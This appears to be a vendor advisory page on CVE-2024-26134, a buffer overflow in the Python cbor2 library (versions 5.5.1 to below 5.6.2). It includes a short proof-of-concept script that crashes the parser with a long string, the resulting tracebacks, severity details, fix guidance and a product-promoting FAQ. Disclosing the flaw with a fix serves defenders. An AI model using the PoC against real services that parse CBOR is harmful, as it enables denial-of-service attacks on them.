CVE-2024-26134

Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)

Details

PoC

import json
import concurrent.futures
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

with concurrent.futures.ProcessPoolExecutor() as executor:
    future = executor.submit(test)
    print(future.result())

malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
  File "test.py", line 14, in <module>
    print(future.result())
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
    return self.__get_result()
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
    raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.

If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.

import json
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

print(test())

Traceback (most recent call last):
  File "test.py", line 12, in <module>
    print(test())
  File "test.py", line 9, in test
    return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error

An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.

CVE-2024-26134 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.6.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-26134? CVE-2024-26134 is a high-severity security vulnerability in cbor2 (pip), affecting versions >= 5.5.1, < 5.6.2. It is fixed in 5.6.2.
2. How severe is CVE-2024-26134? CVE-2024-26134 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of cbor2 are affected by CVE-2024-26134? cbor2 (pip) versions >= 5.5.1, < 5.6.2 is affected.
4. Is there a fix for CVE-2024-26134? Yes. CVE-2024-26134 is fixed in 5.6.2. Upgrade to this version or later.
5. Is CVE-2024-26134 exploitable, and should I be worried? Whether CVE-2024-26134 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-26134 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-26134? Upgrade cbor2 to 5.6.2 or later.